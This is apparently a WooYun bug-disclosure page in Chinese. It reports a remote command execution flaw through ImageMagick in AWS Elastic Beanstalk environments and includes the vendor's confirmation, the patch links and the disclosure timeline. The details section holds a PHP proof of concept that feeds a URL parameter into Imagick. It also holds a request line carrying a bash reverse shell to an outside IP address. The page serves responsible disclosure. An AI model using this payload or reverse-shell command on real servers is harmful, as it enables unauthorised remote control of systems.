亚马逊云环境存在远程命令执行

编号216049
Urlhttp://www.wooyun.org/bug.php?action=view&id=216049
漏洞状态厂商已经修复
漏洞标题亚马逊云环境存在远程命令执行
漏洞类型命令执行
厂商亚马逊AWS
白帽子路人甲
提交日期2016-06-04 13:57:00
公开日期2016-07-12 16:23:00
修复时间2016-07-12 16:23:00
确认时间2016-06-04 00:00:00
Confirm Spend0
漏洞标签远程命令执行
关注数0
收藏数0
白帽评级
白帽自评rank10
厂商评级
厂商评rank15
漏洞简介
亚马逊云环境远程命令执行
漏洞细节

Elastic Beanstalk环境是自动搭建web环境的aws产品,存在imagickmagick最新远程命令执行漏洞,上一次的补丁打了:

屏幕快照 2016-06-03 下午9.57.00.png

POC

<?php
$cmd=$_GET['cmd'];
echo $cmd;
new Imagick('|'."$cmd".'');
?>


http://52.39.235.119/im.php?cmd=bash -i >%26 /dev/tcp/104.224.156.133/2333 0>%261


test.png

修复方案

客户环境升级补丁。
http://git.imagemagick.org/repos/ImageMagick/commit/4674b3e1ea87a69646a6dbac8772c45eeb20c9f0
http://git.imagemagick.org/repos/ImageMagick/commit/40639d173aa8c76b850d625c630b711fee4dcfb

状态信息 2016-06-04: 细节已通知厂商并且等待厂商处理中
2016-06-04: 厂商已经确认,细节仅向厂商公开
2016-06-14: 细节向核心白帽子及相关领域专家公开
2016-06-24: 细节向普通白帽子公开
2016-07-04: 细节向实习白帽子公开
2016-07-12: 厂商已经修复漏洞并主动公开,细节向公众公开
厂商回复感谢白帽子的提交,已确认,目前Elastic Beanstalk服务提供给客户的默认PHP和Ruby环境受此漏洞影响,我们将紧急推送补丁到客户的环境。
回应信息危害等级:高漏洞Rank:15 确认时间:2016-06-04 21:47
Showing 1-1 of 1 item.
评论内容评论人点赞数评论时间

要火,出售广告

白无常02016-06-04 21:53:00